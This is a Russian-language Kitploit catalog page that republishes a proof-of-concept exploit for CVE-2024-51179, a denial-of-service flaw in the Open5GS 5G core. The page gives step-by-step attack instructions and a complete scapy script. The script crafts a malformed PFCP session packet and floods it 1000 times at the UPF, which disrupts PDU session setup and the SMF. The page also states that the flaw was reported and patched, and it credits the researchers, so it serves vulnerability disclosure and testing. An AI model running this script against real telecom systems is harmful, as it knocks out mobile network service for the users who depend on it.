Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-51179 — Эксплойт для проверки концепции для CVE-2024-51179: лавинная рассылка специально сформированных PFCP-пакетов приводит к отказу в обслуживании в Open5GS UPF/SMF, нарушая установление PDU-сеансов в ядре 5G. | Kitploit
Инструменты/GitHubGitHub/lakshmirnr/cve-2024-51179
Сниффинг и анализ пакетовАнализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на Проникновение
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Эксплойт для проверки концепции для CVE-2024-51179: лавинная рассылка специально сформированных PFCP-пакетов приводит к отказу в обслуживании в Open5GS UPF/SMF, нарушая установление PDU-сеансов в ядре 5G.

Репозиторий
431 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-51179 : Затопление поддельными пакетами от атакующего может вызвать сбой UPF/SMF в Open5gs

Описание уязвимости

Описание: Проблема в Open5GS v.2.7.1 позволяет удаленному атакующему вызвать отказ в обслуживании через виртуализацию сетевых функций (NFV), таких как функция пользовательской плоскости (UPF) и функция управления сеансами (SMF). Процесс установления сеанса блока пакетных данных (PDU) нарушается из-за сбоев, происходящих в NFV.

Атакующий, после получения IP-адреса функции пользовательской плоскости (UPF), порта PFCP и идентификатора конечной точки сеанса (SEID), может создавать и отправлять поток вредоносных пакетов PFCP (протокол управления пересылкой пакетов) на UPF. Необходимые параметры могут быть перехвачены с помощью таких инструментов, как Wireshark, если атакующий имеет доступ к трафику пользовательской плоскости.

Тип уязвимости: Отказ в обслуживании

Воздействие: После отправки вредоносного пакета UPF переходит в ошибочное состояние, нарушая установление новых сеансов PDU. Кроме того, под воздействие попадает SMF (функция управления сеансами) из-за потока вредоносных пакетов PFCP, что нарушает работу базовых функций ядра.

ШАГИ ПО ВОСПРОИЗВЕДЕНИЮ АТАКИ

Предварительные условия: Сетевое ядро 5G было развернуто с использованием Open5GS в качестве базовой сети и UERANSIM в качестве инструмента эмуляции для gNB (базовая станция следующего поколения) и UE (пользовательское оборудование).

ШАГИ ДЛЯ ВЫПОЛНЕНИЯ АТАКИ

  1. Убедитесь, что Open5GS работает, проверив статус компонентов Open5GS (AMF, SMF, UPF и т.д.)
  • Проверьте установление сеанса PDU, используя UERANSIM для инициации сеанса PDU и захвата трафика с помощью Wireshark.
  • Откройте Wireshark и выберите сетевой интерфейс, используемый для пользовательской плоскости.
  • Начните захват трафика с фильтром отображения для пакетов PFCP:
  • Инициируйте сеанс PDU из UERANSIM, чтобы убедиться, что пакеты PFCP видны в захвате.
  • В Wireshark найдите и запишите IP-адрес UPF, порт UPF (обычно 8805) и SEID из захваченных пакетов PFCP.
  • Используйте следующий скрипт для отправки потока пакетов на UPF.
  • root@kitploit:~
    #!/usr/bin/env python3
    from scapy.all import *
    from scapy.layers.inet import IP, UDP
    import socket
    import struct
    UPF_IP = "192.168.56.113"  
    UPF_PORT = 8805  
    message_type = 53  
    sequence_number = 1
    seid = 0x0010000000000000  
    version = 1 
    spare = 0
    mp = 0  
    s_flag = 1  
    byte0 = (version << 5) | (s_flag << 2)
    length = 0  
    seid_bytes = seid.to_bytes(8, 'big')
    sequence_number_bytes = sequence_number.to_bytes(3, 'big')
    pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
    ie_type = 150  
    ie_length = 13
    flags = 0x01
    fseid_seid = seid.to_bytes(8, 'big')
    fseid_ipv4 = socket.inet_aton(UPF_IP)
    fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
    pfcp_message = pfcp_header + fseid_ie
    pfcp_message_length = len(pfcp_message) - 4  
    pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
    pfcp_message = pfcp_header_with_length + fseid_ie
    packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
    packet[UDP].chksum = None
    print(f"Packet Summary: {packet.summary()}")
    hexdump(packet)
    for _ in range(1000):  
        send(packet)
    print("Sent 1000 malicious PFCP packets to UPF.")
    
    1. Мониторьте сетевое воздействие с помощью Wireshark или проверяйте логи на предмет аномалий или сбоев в обработке пакетов.
    2. Попробуйте установить новые сеансы PDU из UERANSIM, чтобы проверить, не происходит ли сбой установления из-за затопления.

    СОСТОЯНИЕ SMF ПОСЛЕ АТАКИ

    smfcurrent

    ЗАХВАТ WIRESHARK ВРЕДОНОСНОГО ПАКЕТА

    377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

    ТЕКУЩИЙ СТАТУС

    Уязвимость, задокументированная как Issue #3497 на странице Open5GS GitHub (https://github.com/open5gs/open5gs/issues/3497), была сообщена разработчику Open5GS, который определил первопричину как проблему освобождения памяти, приводящую к сбоям системы. С тех пор был применен патч, и код обновлен для устранения проблемы. Вы можете просмотреть обновленный код здесь.

    https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

    CVE-2024-51179 опубликован.

    АВТОРЫ

    DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS (C-DOT)

    Скачать инструмент